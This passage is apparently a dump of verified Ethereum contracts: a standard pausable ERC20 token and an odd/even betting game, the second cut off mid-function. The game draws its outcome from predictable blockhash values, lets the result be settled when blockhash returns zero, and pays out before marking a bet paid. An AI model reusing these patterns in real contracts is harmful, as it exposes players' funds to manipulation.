6572600082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332304361707065643a2063617020657863656564656400000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b611ef681611a2e565b8114611f0157600080fd5b50565b611f0d81611a6c565b8114611f1857600080fd5b5056fea2646970667358221220cc0d865efb6c43072ae2d97243c7c7341fedfb3e673bf4524381f2067f5096a364736f6c63430008070033 | {"success": true, "error": null, "results": {}} | 9,972 |
0xaf845da0f48612aad04d35560dfc5d1540c3a873 | pragma solidity ^0.5.0;
/*****************************************************************************
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*/
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
}
/*****************************************************************************
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see `ERC20Detailed`.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through `transferFrom`. This is
* zero by default.
*
* This value changes when `approve` or `transferFrom` are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* > Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an `Approval` event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a `Transfer` event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to `approve`. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/*****************************************************************************
* @dev Basic implementation of the `IERC20` interface.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
/**
* @dev See `IERC20.totalSupply`.
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev See `IERC20.balanceOf`.
*/
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
/**
* @dev See `IERC20.transfer`.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
/**
* @dev See `IERC20.allowance`.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See `IERC20.approve`.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
/**
* @dev See `IERC20.transferFrom`.
*
* Emits an `Approval` event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of `ERC20`;
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `value`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to `approve` that can be used as a mitigation for
* problems described in `IERC20.approve`.
*
* Emits an `Approval` event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to `transfer`, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a `Transfer` event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a `Transfer` event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destoys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a `Transfer` event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an `Approval` event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
/**
* @dev Destoys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See `_burn` and `_approve`.
*/
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
}
/*****************************************************************************
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be aplied to your functions to restrict their use to
* the owner.
*/
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Paused();
event Unpaused();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Paused();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpaused();
}
}
/**
* @title Pausable token
* @dev ERC20 modified with pausable transfers.
**/
contract ERC20Pausable is ERC20, Pausable {
function transfer(address to, uint256 value) public whenNotPaused returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) {
return super.transferFrom(from, to, value);
}
function approve(address spender, uint256 value) public whenNotPaused returns (bool) {
return super.approve(spender, value);
}
function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) {
return super.increaseAllowance(spender, addedValue);
}
function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseAllowance(spender, subtractedValue);
}
}
/*****************************************************************************
* @title CoreFinance vZ
* @dev CoreFinance vZ is an ERC20 implementation of the CoreFinance vZ ecosystem token.
* All tokens are initially pre-assigned to the creator, and can later be distributed
* freely using transfer transferFrom and other ERC20 functions.
*/
contract CoreFinanceZ is Ownable, ERC20Pausable {
string public constant name = "Core Finance vZ";
string public constant symbol = "COREZ";
uint8 public constant decimals = 18;
uint256 public constant initialSupply = 10000*10**uint256(decimals);
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor () public {
_mint(msg.sender, initialSupply);
}
/**
* @dev Destoys `amount` tokens from the caller.
*
* See `ERC20._burn`.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev See `ERC20._burnFrom`.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
event DepositReceived(address indexed from, uint256 value);
} | 0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610424565b604080519115158252519081900360200190f35b6101f661044f565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610455565b610246610482565b6040805160ff9092168252519081900360200190f35b6101f6610487565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610495565b6102986104b9565b005b610298600480360360208110156102b057600080fd5b5035610560565b6101da61056d565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057d565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610598565b6102986105a6565b610321610654565b604080516001600160a01b039092168252519081900360200190f35b6101da610663565b610139610674565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610695565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106b9565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106dd565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610708565b6040518060400160405280600f81526020016e21b7b932902334b730b731b2903b2d60891b81525081565b600354600090600160a01b900460ff161561043e57600080fd5b6104488383610802565b9392505050565b60025490565b600354600090600160a01b900460ff161561046f57600080fd5b61047a848484610818565b949350505050565b601281565b69021e19e0c9bab240000081565b600354600090600160a01b900460ff16156104af57600080fd5b610448838361086f565b6104c1610663565b610512576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052857600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056a33826108ab565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a28282610984565b5050565b6105ae610663565b6105ff576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061657600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b6040518060400160405280600581526020016421a7a922ad60d91b81525081565b600354600090600160a01b900460ff16156106af57600080fd5b61044883836109c9565b600354600090600160a01b900460ff16156106d357600080fd5b6104488383610a05565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610710610663565b610761576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a65760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1b6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600380546001600160a01b0319166001600160a01b0392909216919091179055565b600061080f338484610a12565b50600192915050565b6000610825848484610afe565b6001600160a01b038416600090815260016020908152604080832033808552925290912054610865918691610860908663ffffffff610c4016565b610a12565b5060019392505050565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080f918590610860908663ffffffff610c9d16565b6001600160a01b0382166108f05760405162461bcd60e51b8152600401808060200182810382526021815260200180610d636021913960400191505060405180910390fd5b600254610903908263ffffffff610c4016565b6002556001600160a01b03821660009081526020819052604090205461092f908263ffffffff610c4016565b6001600160a01b038316600081815260208181526040808320949094558351858152935191937fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929081900390910190a35050565b61098e82826108ab565b6001600160a01b0382166000908152600160209081526040808320338085529252909120546105a2918491610860908563ffffffff610c4016565b3360008181526001602090815260408083206001600160a01b0387168452909152812054909161080f918590610860908663ffffffff610c4016565b600061080f338484610afe565b6001600160a01b038316610a575760405162461bcd60e51b8152600401808060200182810382526024815260200180610da96024913960400191505060405180910390fd5b6001600160a01b038216610a9c5760405162461bcd60e51b8152600401808060200182810382526022815260200180610d416022913960400191505060405180910390fd5b6001600160a01b03808416600081815260016020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b038316610b435760405162461bcd60e51b8152600401808060200182810382526025815260200180610d846025913960400191505060405180910390fd5b6001600160a01b038216610b885760405162461bcd60e51b8152600401808060200182810382526023815260200180610cf86023913960400191505060405180910390fd5b6001600160a01b038316600090815260208190526040902054610bb1908263ffffffff610c4016565b6001600160a01b038085166000908152602081905260408082209390935590841681522054610be6908263ffffffff610c9d16565b6001600160a01b038084166000818152602081815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600082821115610c97576040805162461bcd60e51b815260206004820152601e60248201527f536166654d6174683a207375627472616374696f6e206f766572666c6f770000604482015290519081900360640190fd5b50900390565b600082820183811015610448576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fdfe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a206275726e2066726f6d20746865207a65726f206164647265737345524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a265627a7a72315820aae2dbe15a3dfd0f9e0891f6125664ee161317775fcc4daaf0c798aedaddd48864736f6c63430005110032 | {"success": true, "error": null, "results": {}} | 9,973 |
0xf459034afc1fc2e0e8bddc8e3645c2b2935186f6 | pragma solidity ^0.4.24;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Owned {
address public owner;
event LogNew(address indexed old, address indexed current);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
constructor() public {
owner = msg.sender;
}
function transferOwnership(address _newOwner) onlyOwner public {
emit LogNew(owner, _newOwner);
owner = _newOwner;
}
}
contract IMoneyManager {
function payTo(address _participant, uint256 _revenue) payable public returns(bool);
}
contract Game is Owned {
using SafeMath for uint256;
// The address of the owner
address public ownerWallet;
// The address of the activator
mapping(address => bool) internal activator;
// Constants
uint256 public constant BET = 100 finney; //0.1 ETH
uint8 public constant ODD = 1;
uint8 public constant EVEN = 2;
uint8 public constant noBets = 3;
uint256 public constant COMMISSION_PERCENTAGE = 10;
uint256 public constant END_DURATION_BETTING_BLOCK = 23;
uint256 public constant TARGET_DURATION_BETTING_BLOCK = 30;
uint256 public constant CONTRACT_VERSION = 201805311200;
// The address of the moneyManager
address public moneyManager;
// Array which stores the target blocks
uint256[] targetBlocks;
// Mappings
mapping(address => Participant) public participants;
mapping(uint256 => mapping(uint256 => uint256)) oddAndEvenBets; // Stores the msg.value for the block and the bet (odd or even)
mapping(uint256 => uint256) blockResult; // Stores if the blockhash's last char is odd or even
mapping(uint256 => bytes32) blockHash; // Stores the hash of block (block.number)
mapping(uint256 => uint256) blockRevenuePerTicket; // Stores the amount of the revenue per person for given block
mapping(uint256 => bool) isBlockRevenueCalculated; // Stores if the blocks revenue is calculated
mapping(uint256 => uint256) comissionsAtBlock; // Stores the commision amount for given block
// Public variables
uint256 public _startBetBlock;
uint256 public _endBetBlock;
uint256 public _targetBlock;
// Modifiers
modifier afterBlock(uint256 _blockNumber) {
require(block.number >= _blockNumber);
_;
}
modifier onlyActivator(address _activator) {
require(activator[_activator] == true);
_;
}
// Structures
struct Participant {
mapping(uint256 => Bet) bets;
bool isParticipated;
}
struct Bet {
uint256 ODDBets;
uint256 EVENBets;
bool isRevenuePaid;
}
/** @dev Constructor
* @param _moneyManager The address of the money manager.
* @param _ownerWallet The address of the owner.
*
*/
constructor(address _moneyManager, address _ownerWallet) public {
setMoneyManager(_moneyManager);
setOwnerWallet(_ownerWallet);
}
/** @dev Fallback function.
* Provides functionality for person to bet.
*/
function() payable public {
bet(getBlockHashOddOrEven(block.number - 128), msg.value.div(BET));
}
/** @dev Function which activates the cycle.
* Only the activator can call the function.
* @param _startBlock The starting block of the game.
* Set the starting block from which the participants can start to bet for target block.
* Set the end block to which the participants can bet fot target block.
* Set the target block for which the participants will bet.
* @return success Is the activation of the cycle successful.
*/
function activateCycle(uint256 _startBlock) public onlyActivator(msg.sender) returns (bool _success) {
if (_startBlock == 0) {
_startBlock = block.number;
}
require(block.number >= _endBetBlock);
_startBetBlock = _startBlock;
_endBetBlock = _startBetBlock.add(END_DURATION_BETTING_BLOCK);
_targetBlock = _startBetBlock.add(TARGET_DURATION_BETTING_BLOCK);
targetBlocks.push(_targetBlock);
return true;
}
// Events
event LogBet(address indexed participant, uint256 blockNumber, uint8 oddOrEven, uint256 betAmount);
event LogNewParticipant(address indexed _newParticipant);
/** @dev Function from which everyone can bet
* @param oddOrEven The number on which the participant want to bet (it is 1 - ODD or 2 - EVEN).
* @param betsAmount The amount of tickets the participant want to buy.
* @return success Is the bet successful.
*/
function bet(uint8 oddOrEven, uint256 betsAmount) public payable returns (bool _success) {
require(betsAmount > 0);
uint256 participantBet = betsAmount.mul(BET);
require(msg.value == participantBet);
require(oddOrEven == ODD || oddOrEven == EVEN);
require(block.number <= _endBetBlock && block.number >= _startBetBlock);
// @dev - check if participant already betted
if (participants[msg.sender].isParticipated == false) {
// create new participant in memory
Participant memory newParticipant;
newParticipant.isParticipated = true;
//save the participant to state
participants[msg.sender] = newParticipant;
emit LogNewParticipant(msg.sender);
}
uint256 betTillNowODD = participants[msg.sender].bets[_targetBlock].ODDBets;
uint256 betTillNowEVEN = participants[msg.sender].bets[_targetBlock].EVENBets;
if(oddOrEven == ODD) {
betTillNowODD = betTillNowODD.add(participantBet);
} else {
betTillNowEVEN = betTillNowEVEN.add(participantBet);
}
Bet memory newBet = Bet({ODDBets : betTillNowODD, EVENBets: betTillNowEVEN, isRevenuePaid : false});
//save the bet
participants[msg.sender].bets[_targetBlock] = newBet;
// save the bet for the block
oddAndEvenBets[_targetBlock][oddOrEven] = oddAndEvenBets[_targetBlock][oddOrEven].add(msg.value);
address(moneyManager).transfer(msg.value);
emit LogBet(msg.sender, _targetBlock, oddOrEven, msg.value);
return true;
}
/** @dev Function which calculates the revenue for block.
* @param _blockNumber The block for which the revenie will be calculated.
*/
function calculateRevenueAtBlock(uint256 _blockNumber) public afterBlock(_blockNumber) {
require(isBlockRevenueCalculated[_blockNumber] == false);
if(oddAndEvenBets[_blockNumber][ODD] > 0 || oddAndEvenBets[_blockNumber][EVEN] > 0) {
blockResult[_blockNumber] = getBlockHashOddOrEven(_blockNumber);
require(blockResult[_blockNumber] == ODD || blockResult[_blockNumber] == EVEN);
if (blockResult[_blockNumber] == ODD) {
calculateRevenue(_blockNumber, ODD, EVEN);
} else if (blockResult[_blockNumber] == EVEN) {
calculateRevenue(_blockNumber, EVEN, ODD);
}
} else {
isBlockRevenueCalculated[_blockNumber] = true;
blockResult[_blockNumber] = noBets;
}
}
event LogOddOrEven(uint256 blockNumber, bytes32 blockHash, uint256 oddOrEven);
/** @dev Function which calculates the hash of the given block.
* @param _blockNumber The block for which the hash will be calculated.
* The function is called by the calculateRevenueAtBlock()
* @return oddOrEven
*/
function getBlockHashOddOrEven(uint256 _blockNumber) internal returns (uint8 oddOrEven) {
blockHash[_blockNumber] = blockhash(_blockNumber);
uint256 result = uint256(blockHash[_blockNumber]);
uint256 lastChar = (result * 2 ** 252) / (2 ** 252);
uint256 _oddOrEven = lastChar % 2;
emit LogOddOrEven(_blockNumber, blockHash[_blockNumber], _oddOrEven);
if (_oddOrEven == 1) {
return ODD;
} else if (_oddOrEven == 0) {
return EVEN;
}
}
event LogRevenue(uint256 blockNumber, uint256 winner, uint256 revenue);
/** @dev Function which calculates the revenue of given block.
* @param _blockNumber The block for which the revenue will be calculated.
* @param winner The winner bet (1 - odd or 2 - even).
* @param loser The loser bet (2 even or 1 - odd).
* The function is called by the calculateRevenueAtBlock()
*/
function calculateRevenue(uint256 _blockNumber, uint256 winner, uint256 loser) internal {
uint256 revenue = oddAndEvenBets[_blockNumber][loser];
if (oddAndEvenBets[_blockNumber][ODD] != 0 && oddAndEvenBets[_blockNumber][EVEN] != 0) {
uint256 comission = (revenue.div(100)).mul(COMMISSION_PERCENTAGE);
revenue = revenue.sub(comission);
comissionsAtBlock[_blockNumber] = comission;
IMoneyManager(moneyManager).payTo(ownerWallet, comission);
uint256 winners = oddAndEvenBets[_blockNumber][winner].div(BET);
blockRevenuePerTicket[_blockNumber] = revenue.div(winners);
}
isBlockRevenueCalculated[_blockNumber] = true;
emit LogRevenue(_blockNumber, winner, revenue);
}
event LogpayToRevenue(address indexed participant, uint256 blockNumber, bool revenuePaid);
/** @dev Function which allows the participants to withdraw their revenue.
* @param _blockNumber The block for which the participants will withdraw their revenue.
* @return _success Is the revenue withdrawn successfully.
*/
function withdrawRevenue(uint256 _blockNumber) public returns (bool _success) {
require(participants[msg.sender].bets[_blockNumber].ODDBets > 0 || participants[msg.sender].bets[_blockNumber].EVENBets > 0);
require(participants[msg.sender].bets[_blockNumber].isRevenuePaid == false);
require(isBlockRevenueCalculated[_blockNumber] == true);
if (oddAndEvenBets[_blockNumber][ODD] == 0 || oddAndEvenBets[_blockNumber][EVEN] == 0) {
if(participants[msg.sender].bets[_blockNumber].ODDBets > 0) {
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].ODDBets);
}else{
IMoneyManager(moneyManager).payTo(msg.sender, participants[msg.sender].bets[_blockNumber].EVENBets);
}
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
// @dev - initial revenue to be paid
uint256 _revenue = 0;
uint256 counter = 0;
uint256 totalPayment = 0;
if (blockResult[_blockNumber] == ODD) {
counter = (participants[msg.sender].bets[_blockNumber].ODDBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
} else if (blockResult[_blockNumber] == EVEN) {
counter = (participants[msg.sender].bets[_blockNumber].EVENBets).div(BET);
_revenue = _revenue.add(blockRevenuePerTicket[_blockNumber].mul(counter));
}
totalPayment = _revenue.add(BET.mul(counter));
// pay the revenue
IMoneyManager(moneyManager).payTo(msg.sender, totalPayment);
participants[msg.sender].bets[_blockNumber].isRevenuePaid = true;
emit LogpayToRevenue(msg.sender, _blockNumber, participants[msg.sender].bets[_blockNumber].isRevenuePaid);
return participants[msg.sender].bets[_blockNumber].isRevenuePaid;
}
/** @dev Function which set the activator of the cycle.
* Only owner can call the function.
*/
function setActivator(address _newActivator) onlyOwner public returns(bool) {
require(activator[_newActivator] == false);
activator[_newActivator] = true;
return activator[_newActivator];
}
/** @dev Function which remove the activator.
* Only owner can call the function.
*/
function removeActivator(address _Activator) onlyOwner public returns(bool) {
require(activator[_Activator] == true);
activator[_Activator] = false;
return true;
}
/** @dev Function which set the owner of the wallet.
* Only owner can call the function.
* Called when the contract is deploying.
*/
function setOwnerWallet(address _newOwnerWallet) public onlyOwner {
emit LogNew(ownerWallet, _newOwnerWallet);
ownerWallet = _newOwnerWallet;
}
/** @dev Function which set the money manager.
* Only owner can call the function.
* Called when contract is deploying.
*/
function setMoneyManager(address _moneyManager) public onlyOwner {
emit LogNew(moneyManager, _moneyManager);
moneyManager = _moneyManager;
}
function getActivator(address _isActivator) public view returns(bool) {
return activator[_isActivator];
}
/** @dev Function for getting the current block.
* @return _blockNumber
*/
function getblock() public view returns (uint256 _blockNumber){
return block.number;
}
/** @dev Function for getting the current cycle info
* @return startBetBlock, endBetBlock, targetBlock
*/
function getCycleInfo() public view returns (uint256 startBetBlock, uint256 endBetBlock, uint256 targetBlock){
return (
_startBetBlock,
_endBetBlock,
_targetBlock);
}
/** @dev Function for getting the given block hash
* @param _blockNumber The block number of which you want to check hash.
* @return _blockHash
*/
function getBlockHash(uint256 _blockNumber) public view returns (bytes32 _blockHash) {
return blockHash[_blockNumber];
}
/** @dev Function for getting the bets for ODD and EVEN.
* @param _participant The address of the participant whose bets you want to check.
* @param _blockNumber The block for which you want to check.
* @return _oddBets, _evenBets
*/
function getBetAt(address _participant, uint256 _blockNumber) public view returns (uint256 _oddBets, uint256 _evenBets){
return (participants[_participant].bets[_blockNumber].ODDBets, participants[_participant].bets[_blockNumber].EVENBets);
}
/** @dev Function for getting the block result if it is ODD or EVEN.
* @param _blockNumber The block for which you want to get the result.
* @return _oddOrEven
*/
function getBlockResult(uint256 _blockNumber) public view returns (uint256 _oddOrEven){
return blockResult[_blockNumber];
}
/** @dev Function for getting the wei amount for given block.
* @param _blockNumber The block for which you want to get wei amount.
* @param _blockOddOrEven The block which is odd or even.
* @return _weiAmountAtStage
*/
function getoddAndEvenBets(uint256 _blockNumber, uint256 _blockOddOrEven) public view returns (uint256 _weiAmountAtStage) {
return oddAndEvenBets[_blockNumber][_blockOddOrEven];
}
/** @dev Function for checking if the given address participated in given block.
* @param _participant The participant whose participation we are going to check.
* @param _blockNumber The block for which we will check the participation.
* @return _isParticipate
*/
function getIsParticipate(address _participant, uint256 _blockNumber) public view returns (bool _isParticipate) {
return (participants[_participant].bets[_blockNumber].ODDBets > 0 || participants[_participant].bets[_blockNumber].EVENBets > 0);
